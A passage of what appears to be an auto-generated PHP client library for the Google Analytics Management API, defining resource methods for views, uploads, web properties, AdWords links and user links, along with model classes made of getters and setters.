/** * Updates an existing view (profile). This method supports patch semantics. * (profiles.patch) * * @param string $accountId * Account ID to which the view (profile) belongs * @param string $webPropertyId * Web property ID to which the view (profile) belongs * @param string $profileId * ID of the view (profile) to be updated. * @param Google_Profile $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Profile */ public function patch($accountId, $webPropertyId, $profileId, Google_Service_Analytics_Profile $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('patch', array($params), "Google_Service_Analytics_Profile"); } /** * Updates an existing view (profile). (profiles.update) * * @param string $accountId * Account ID to which the view (profile) belongs * @param string $webPropertyId * Web property ID to which the view (profile) belongs * @param string $profileId * ID of the view (profile) to be updated. * @param Google_Profile $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Profile */ public function update($accountId, $webPropertyId, $profileId, Google_Service_Analytics_Profile $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_Profile"); } } /** * The "segments" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $segments = $analyticsService->segments; * </code> */ class Google_Service_Analytics_ManagementSegments_Resource extends Google_Service_Resource { /** * Lists segments to which the user has access. * (segments.listManagementSegments) * * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of segments to include in this response. * @opt_param int start-index * An index of the first segment to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_Segments */ public function listManagementSegments($optParams = array()) { $params = array(); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Segments"); } } /** * The "unsampledReports" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $unsampledReports = $analyticsService->unsampledReports; * </code> */ class Google_Service_Analytics_ManagementUnsampledReports_Resource extends Google_Service_Resource { /** * Returns a single unsampled report. (unsampledReports.get) * * @param string $accountId * Account ID to retrieve unsampled report for. * @param string $webPropertyId * Web property ID to retrieve unsampled reports for. * @param string $profileId * View (Profile) ID to retrieve unsampled report for. * @param string $unsampledReportId * ID of the unsampled report to retrieve. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_UnsampledReport */ public function get($accountId, $webPropertyId, $profileId, $unsampledReportId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'unsampledReportId' => $unsampledReportId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_UnsampledReport"); } /** * Create a new unsampled report. (unsampledReports.insert) * * @param string $accountId * Account ID to create the unsampled report for. * @param string $webPropertyId * Web property ID to create the unsampled report for. * @param string $profileId * View (Profile) ID to create the unsampled report for. * @param Google_UnsampledReport $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_UnsampledReport */ public function insert($accountId, $webPropertyId, $profileId, Google_Service_Analytics_UnsampledReport $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_UnsampledReport"); } /** * Lists unsampled reports to which the user has access. * (unsampledReports.listManagementUnsampledReports) * * @param string $accountId * Account ID to retrieve unsampled reports for. Must be a specific account ID, ~all is not * supported. * @param string $webPropertyId * Web property ID to retrieve unsampled reports for. Must be a specific web property ID, ~all is * not supported. * @param string $profileId * View (Profile) ID to retrieve unsampled reports for. Must be a specific view (profile) ID, ~all * is not supported. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of unsampled reports to include in this response. * @opt_param int start-index * An index of the first unsampled report to retrieve. Use this parameter as a pagination mechanism * along with the max-results parameter. * @return Google_Service_Analytics_UnsampledReports */ public function listManagementUnsampledReports($accountId, $webPropertyId, $profileId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'profileId' => $profileId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_UnsampledReports"); } } /** * The "uploads" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $uploads = $analyticsService->uploads; * </code> */ class Google_Service_Analytics_ManagementUploads_Resource extends Google_Service_Resource { /** * Delete data associated with a previous upload. (uploads.deleteUploadData) * * @param string $accountId * Account Id for the uploads to be deleted. * @param string $webPropertyId * Web property Id for the uploads to be deleted. * @param string $customDataSourceId * Custom data source Id for the uploads to be deleted. * @param Google_AnalyticsDataimportDeleteUploadDataRequest $postBody * @param array $optParams Optional parameters. */ public function deleteUploadData($accountId, $webPropertyId, $customDataSourceId, Google_Service_Analytics_AnalyticsDataimportDeleteUploadDataRequest $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('deleteUploadData', array($params)); } /** * List uploads to which the user has access. (uploads.get) * * @param string $accountId * Account Id for the upload to retrieve. * @param string $webPropertyId * Web property Id for the upload to retrieve. * @param string $customDataSourceId * Custom data source Id for upload to retrieve. * @param string $uploadId * Upload Id to retrieve. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Upload */ public function get($accountId, $webPropertyId, $customDataSourceId, $uploadId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId, 'uploadId' => $uploadId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_Upload"); } /** * List uploads to which the user has access. (uploads.listManagementUploads) * * @param string $accountId * Account Id for the uploads to retrieve. * @param string $webPropertyId * Web property Id for the uploads to retrieve. * @param string $customDataSourceId * Custom data source Id for uploads to retrieve. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of uploads to include in this response. * @opt_param int start-index * A 1-based index of the first upload to retrieve. Use this parameter as a pagination mechanism * along with the max-results parameter. * @return Google_Service_Analytics_Uploads */ public function listManagementUploads($accountId, $webPropertyId, $customDataSourceId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Uploads"); } /** * Migrate custom data source and data imports to latest version. * (uploads.migrateDataImport) * * @param string $accountId * Account Id for migration. * @param string $webPropertyId * Web property Id for migration. * @param string $customDataSourceId * Custom data source Id for migration. * @param array $optParams Optional parameters. */ public function migrateDataImport($accountId, $webPropertyId, $customDataSourceId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId); $params = array_merge($params, $optParams); return $this->call('migrateDataImport', array($params)); } /** * Upload data for a custom data source. (uploads.uploadData) * * @param string $accountId * Account Id associated with the upload. * @param string $webPropertyId * Web property UA-string associated with the upload. * @param string $customDataSourceId * Custom data source Id to which the data being uploaded belongs. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Upload */ public function uploadData($accountId, $webPropertyId, $customDataSourceId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'customDataSourceId' => $customDataSourceId); $params = array_merge($params, $optParams); return $this->call('uploadData', array($params), "Google_Service_Analytics_Upload"); } } /** * The "webPropertyAdWordsLinks" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $webPropertyAdWordsLinks = $analyticsService->webPropertyAdWordsLinks; * </code> */ class Google_Service_Analytics_ManagementWebPropertyAdWordsLinks_Resource extends Google_Service_Resource { /** * Deletes a web property-AdWords link. (webPropertyAdWordsLinks.delete) * * @param string $accountId * ID of the account which the given web property belongs to. * @param string $webPropertyId * Web property ID to delete the AdWords link for. * @param string $webPropertyAdWordsLinkId * Web property AdWords link ID. * @param array $optParams Optional parameters. */ public function delete($accountId, $webPropertyId, $webPropertyAdWordsLinkId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'webPropertyAdWordsLinkId' => $webPropertyAdWordsLinkId); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * Returns a web property-AdWords link to which the user has access. * (webPropertyAdWordsLinks.get) * * @param string $accountId * ID of the account which the given web property belongs to. * @param string $webPropertyId * Web property ID to retrieve the AdWords link for. * @param string $webPropertyAdWordsLinkId * Web property-AdWords link ID. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityAdWordsLink */ public function get($accountId, $webPropertyId, $webPropertyAdWordsLinkId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'webPropertyAdWordsLinkId' => $webPropertyAdWordsLinkId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_EntityAdWordsLink"); } /** * Creates a webProperty-AdWords link. (webPropertyAdWordsLinks.insert) * * @param string $accountId * ID of the Google Analytics account to create the link for. * @param string $webPropertyId * Web property ID to create the link for. * @param Google_EntityAdWordsLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityAdWordsLink */ public function insert($accountId, $webPropertyId, Google_Service_Analytics_EntityAdWordsLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_EntityAdWordsLink"); } /** * Lists webProperty-AdWords links for a given web property. * (webPropertyAdWordsLinks.listManagementWebPropertyAdWordsLinks) * * @param string $accountId * ID of the account which the given web property belongs to. * @param string $webPropertyId * Web property ID to retrieve the AdWords links for. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of webProperty-AdWords links to include in this response. * @opt_param int start-index * An index of the first webProperty-AdWords link to retrieve. Use this parameter as a pagination * mechanism along with the max-results parameter. * @return Google_Service_Analytics_EntityAdWordsLinks */ public function listManagementWebPropertyAdWordsLinks($accountId, $webPropertyId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_EntityAdWordsLinks"); } /** * Updates an existing webProperty-AdWords link. This method supports patch * semantics. (webPropertyAdWordsLinks.patch) * * @param string $accountId * ID of the account which the given web property belongs to. * @param string $webPropertyId * Web property ID to retrieve the AdWords link for. * @param string $webPropertyAdWordsLinkId * Web property-AdWords link ID. * @param Google_EntityAdWordsLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityAdWordsLink */ public function patch($accountId, $webPropertyId, $webPropertyAdWordsLinkId, Google_Service_Analytics_EntityAdWordsLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'webPropertyAdWordsLinkId' => $webPropertyAdWordsLinkId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('patch', array($params), "Google_Service_Analytics_EntityAdWordsLink"); } /** * Updates an existing webProperty-AdWords link. * (webPropertyAdWordsLinks.update) * * @param string $accountId * ID of the account which the given web property belongs to. * @param string $webPropertyId * Web property ID to retrieve the AdWords link for. * @param string $webPropertyAdWordsLinkId * Web property-AdWords link ID. * @param Google_EntityAdWordsLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityAdWordsLink */ public function update($accountId, $webPropertyId, $webPropertyAdWordsLinkId, Google_Service_Analytics_EntityAdWordsLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'webPropertyAdWordsLinkId' => $webPropertyAdWordsLinkId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_EntityAdWordsLink"); } } /** * The "webproperties" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $webproperties = $analyticsService->webproperties; * </code> */ class Google_Service_Analytics_ManagementWebproperties_Resource extends Google_Service_Resource { /** * Gets a web property to which the user has access. (webproperties.get) * * @param string $accountId * Account ID to retrieve the web property for. * @param string $webPropertyId * ID to retrieve the web property for. * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Webproperty */ public function get($accountId, $webPropertyId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_Webproperty"); } /** * Create a new property if the account has fewer than 20 properties. Web * properties are visible in the Google Analytics interface only if they have at * least one profile. (webproperties.insert) * * @param string $accountId * Account ID to create the web property for. * @param Google_Webproperty $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Webproperty */ public function insert($accountId, Google_Service_Analytics_Webproperty $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_Webproperty"); } /** * Lists web properties to which the user has access. * (webproperties.listManagementWebproperties) * * @param string $accountId * Account ID to retrieve web properties for. Can either be a specific account ID or '~all', which * refers to all the accounts that user has access to. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of web properties to include in this response. * @opt_param int start-index * An index of the first entity to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @return Google_Service_Analytics_Webproperties */ public function listManagementWebproperties($accountId, $optParams = array()) { $params = array('accountId' => $accountId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Webproperties"); } /** * Updates an existing web property. This method supports patch semantics. * (webproperties.patch) * * @param string $accountId * Account ID to which the web property belongs * @param string $webPropertyId * Web property ID * @param Google_Webproperty $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Webproperty */ public function patch($accountId, $webPropertyId, Google_Service_Analytics_Webproperty $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('patch', array($params), "Google_Service_Analytics_Webproperty"); } /** * Updates an existing web property. (webproperties.update) * * @param string $accountId * Account ID to which the web property belongs * @param string $webPropertyId * Web property ID * @param Google_Webproperty $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Webproperty */ public function update($accountId, $webPropertyId, Google_Service_Analytics_Webproperty $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_Webproperty"); } } /** * The "webpropertyUserLinks" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $webpropertyUserLinks = $analyticsService->webpropertyUserLinks; * </code> */ class Google_Service_Analytics_ManagementWebpropertyUserLinks_Resource extends Google_Service_Resource { /** * Removes a user from the given web property. (webpropertyUserLinks.delete) * * @param string $accountId * Account ID to delete the user link for. * @param string $webPropertyId * Web Property ID to delete the user link for. * @param string $linkId * Link ID to delete the user link for. * @param array $optParams Optional parameters. */ public function delete($accountId, $webPropertyId, $linkId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'linkId' => $linkId); $params = array_merge($params, $optParams); return $this->call('delete', array($params)); } /** * Adds a new user to the given web property. (webpropertyUserLinks.insert) * * @param string $accountId * Account ID to create the user link for. * @param string $webPropertyId * Web Property ID to create the user link for. * @param Google_EntityUserLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityUserLink */ public function insert($accountId, $webPropertyId, Google_Service_Analytics_EntityUserLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('insert', array($params), "Google_Service_Analytics_EntityUserLink"); } /** * Lists webProperty-user links for a given web property. * (webpropertyUserLinks.listManagementWebpropertyUserLinks) * * @param string $accountId * Account ID which the given web property belongs to. * @param string $webPropertyId * Web Property ID for the webProperty-user links to retrieve. Can either be a specific web * property ID or '~all', which refers to all the web properties that user has access to. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of webProperty-user Links to include in this response. * @opt_param int start-index * An index of the first webProperty-user link to retrieve. Use this parameter as a pagination * mechanism along with the max-results parameter. * @return Google_Service_Analytics_EntityUserLinks */ public function listManagementWebpropertyUserLinks($accountId, $webPropertyId, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_EntityUserLinks"); } /** * Updates permissions for an existing user on the given web property. * (webpropertyUserLinks.update) * * @param string $accountId * Account ID to update the account-user link for. * @param string $webPropertyId * Web property ID to update the account-user link for. * @param string $linkId * Link ID to update the account-user link for. * @param Google_EntityUserLink $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_EntityUserLink */ public function update($accountId, $webPropertyId, $linkId, Google_Service_Analytics_EntityUserLink $postBody, $optParams = array()) { $params = array('accountId' => $accountId, 'webPropertyId' => $webPropertyId, 'linkId' => $linkId, 'postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('update', array($params), "Google_Service_Analytics_EntityUserLink"); } } /** * The "metadata" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $metadata = $analyticsService->metadata; * </code> */ class Google_Service_Analytics_Metadata_Resource extends Google_Service_Resource { } /** * The "columns" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $columns = $analyticsService->columns; * </code> */ class Google_Service_Analytics_MetadataColumns_Resource extends Google_Service_Resource { /** * Lists all columns for a report type (columns.listMetadataColumns) * * @param string $reportType * Report type. Allowed Values: 'ga'. Where 'ga' corresponds to the Core Reporting API * @param array $optParams Optional parameters. * @return Google_Service_Analytics_Columns */ public function listMetadataColumns($reportType, $optParams = array()) { $params = array('reportType' => $reportType); $params = array_merge($params, $optParams); return $this->call('list', array($params), "Google_Service_Analytics_Columns"); } } /** * The "provisioning" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $provisioning = $analyticsService->provisioning; * </code> */ class Google_Service_Analytics_Provisioning_Resource extends Google_Service_Resource { /** * Creates an account ticket. (provisioning.createAccountTicket) * * @param Google_AccountTicket $postBody * @param array $optParams Optional parameters. * @return Google_Service_Analytics_AccountTicket */ public function createAccountTicket(Google_Service_Analytics_AccountTicket $postBody, $optParams = array()) { $params = array('postBody' => $postBody); $params = array_merge($params, $optParams); return $this->call('createAccountTicket', array($params), "Google_Service_Analytics_AccountTicket"); } } class Google_Service_Analytics_Account extends Google_Model { protected $childLinkType = 'Google_Service_Analytics_AccountChildLink'; protected $childLinkDataType = ''; public $created; public $id; public $kind; public $name; protected $permissionsType = 'Google_Service_Analytics_AccountPermissions'; protected $permissionsDataType = ''; public $selfLink; public $updated; public function setChildLink(Google_Service_Analytics_AccountChildLink $childLink) { $this->childLink = $childLink; } public function getChildLink() { return $this->childLink; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setPermissions(Google_Service_Analytics_AccountPermissions $permissions) { $this->permissions = $permissions; } public function getPermissions() { return $this->permissions; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } } class Google_Service_Analytics_AccountChildLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_AccountPermissions extends Google_Collection { public $effective; public function setEffective($effective) { $this->effective = $effective; } public function getEffective() { return $this->effective; } } class Google_Service_Analytics_AccountRef extends Google_Model { public $href; public $id; public $kind; public $name; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } } class Google_Service_Analytics_AccountSummaries extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_AccountSummary'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_AccountSummary extends Google_Collection { public $id; public $kind; public $name; protected $webPropertiesType = 'Google_Service_Analytics_WebPropertySummary'; protected $webPropertiesDataType = 'array'; public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setWebProperties($webProperties) { $this->webProperties = $webProperties; } public function getWebProperties() { return $this->webProperties; } } class Google_Service_Analytics_AccountTicket extends Google_Model { protected $accountType = 'Google_Service_Analytics_Account'; protected $accountDataType = ''; public $id; public $kind; protected $profileType = 'Google_Service_Analytics_Profile'; protected $profileDataType = ''; public $redirectUri; protected $webpropertyType = 'Google_Service_Analytics_Webproperty'; protected $webpropertyDataType = ''; public function setAccount(Google_Service_Analytics_Account $account) { $this->account = $account; } public function getAccount() { return $this->account; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setProfile(Google_Service_Analytics_Profile $profile) { $this->profile = $profile; } public function getProfile() { return $this->profile; } public function setRedirectUri($redirectUri) { $this->redirectUri = $redirectUri; } public function getRedirectUri() { return $this->redirectUri; } public function setWebproperty(Google_Service_Analytics_Webproperty $webproperty) { $this->webproperty = $webproperty; } public function getWebproperty() { return $this->webproperty; } } class Google_Service_Analytics_Accounts extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Account'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_AdWordsAccount extends Google_Model { public $autoTaggingEnabled; public $customerId; public $kind; public function setAutoTaggingEnabled($autoTaggingEnabled) { $this->autoTaggingEnabled = $autoTaggingEnabled; } public function getAutoTaggingEnabled() { return $this->autoTaggingEnabled; } public function setCustomerId($customerId) { $this->customerId = $customerId; } public function getCustomerId() { return $this->customerId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } } class Google_Service_Analytics_AnalyticsDataimportDeleteUploadDataRequest extends Google_Collection { public $customDataImportUids; public function setCustomDataImportUids($customDataImportUids) { $this->customDataImportUids = $customDataImportUids; } public function getCustomDataImportUids() { return $this->customDataImportUids; } } class Google_Service_Analytics_Column extends Google_Model { public $attributes; public $id; public $kind; public function setAttributes($attributes) { $this->attributes = $attributes; } public function getAttributes() { return $this->attributes; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } } class Google_Service_Analytics_ColumnAttributes extends Google_Model { } class Google_Service_Analytics_Columns extends Google_Collection { public $attributeNames; public $etag; protected $itemsType = 'Google_Service_Analytics_Column'; protected $itemsDataType = 'array'; public $kind; public $totalResults; public function setAttributeNames($attributeNames) { $this->attributeNames = $attributeNames; } public function getAttributeNames() { return $this->attributeNames; } public function setEtag($etag) { $this->etag = $etag; } public function getEtag() { return $this->etag; } public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } } class Google_Service_Analytics_CustomDataSource extends Google_Collection { public $accountId; protected $childLinkType = 'Google_Service_Analytics_CustomDataSourceChildLink'; protected $childLinkDataType = ''; public $created; public $description; public $id; public $importBehavior; public $kind; public $name; protected $parentLinkType = 'Google_Service_Analytics_CustomDataSourceParentLink'; protected $parentLinkDataType = ''; public $profilesLinked; public $selfLink; public $type; public $updated; public $uploadType; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setChildLink(Google_Service_Analytics_CustomDataSourceChildLink $childLink) { $this->childLink = $childLink; } public function getChildLink() { return $this->childLink; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setDescription($description) { $this->description = $description; } public function getDescription() { return $this->description; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setImportBehavior($importBehavior) { $this->importBehavior = $importBehavior; } public function getImportBehavior() { return $this->importBehavior; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setParentLink(Google_Service_Analytics_CustomDataSourceParentLink $parentLink) { $this->parentLink = $parentLink; } public function getParentLink() { return $this->parentLink; } public function setProfilesLinked($profilesLinked) { $this->profilesLinked = $profilesLinked; } public function getProfilesLinked() { return $this->profilesLinked; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } public function setUploadType($uploadType) { $this->uploadType = $uploadType; } public function getUploadType() { return $this->uploadType; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_CustomDataSourceChildLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_CustomDataSourceParentLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_CustomDataSources extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_CustomDataSource'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_DailyUpload extends Google_Collection { public $accountId; public $appendCount; public $createdTime; public $customDataSourceId; public $date; public $kind; public $modifiedTime; protected $parentLinkType = 'Google_Service_Analytics_DailyUploadParentLink'; protected $parentLinkDataType = ''; protected $recentChangesType = 'Google_Service_Analytics_DailyUploadRecentChanges'; protected $recentChangesDataType = 'array'; public $selfLink; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setAppendCount($appendCount) { $this->appendCount = $appendCount; } public function getAppendCount() { return $this->appendCount; } public function setCreatedTime($createdTime) { $this->createdTime = $createdTime; } public function getCreatedTime() { return $this->createdTime; } public function setCustomDataSourceId($customDataSourceId) { $this->customDataSourceId = $customDataSourceId; } public function getCustomDataSourceId() { return $this->customDataSourceId; } public function setDate($date) { $this->date = $date; } public function getDate() { return $this->date; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setModifiedTime($modifiedTime) { $this->modifiedTime = $modifiedTime; } public function getModifiedTime() { return $this->modifiedTime; } public function setParentLink(Google_Service_Analytics_DailyUploadParentLink $parentLink) { $this->parentLink = $parentLink; } public function getParentLink() { return $this->parentLink; } public function setRecentChanges($recentChanges) { $this->recentChanges = $recentChanges; } public function getRecentChanges() { return $this->recentChanges; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return 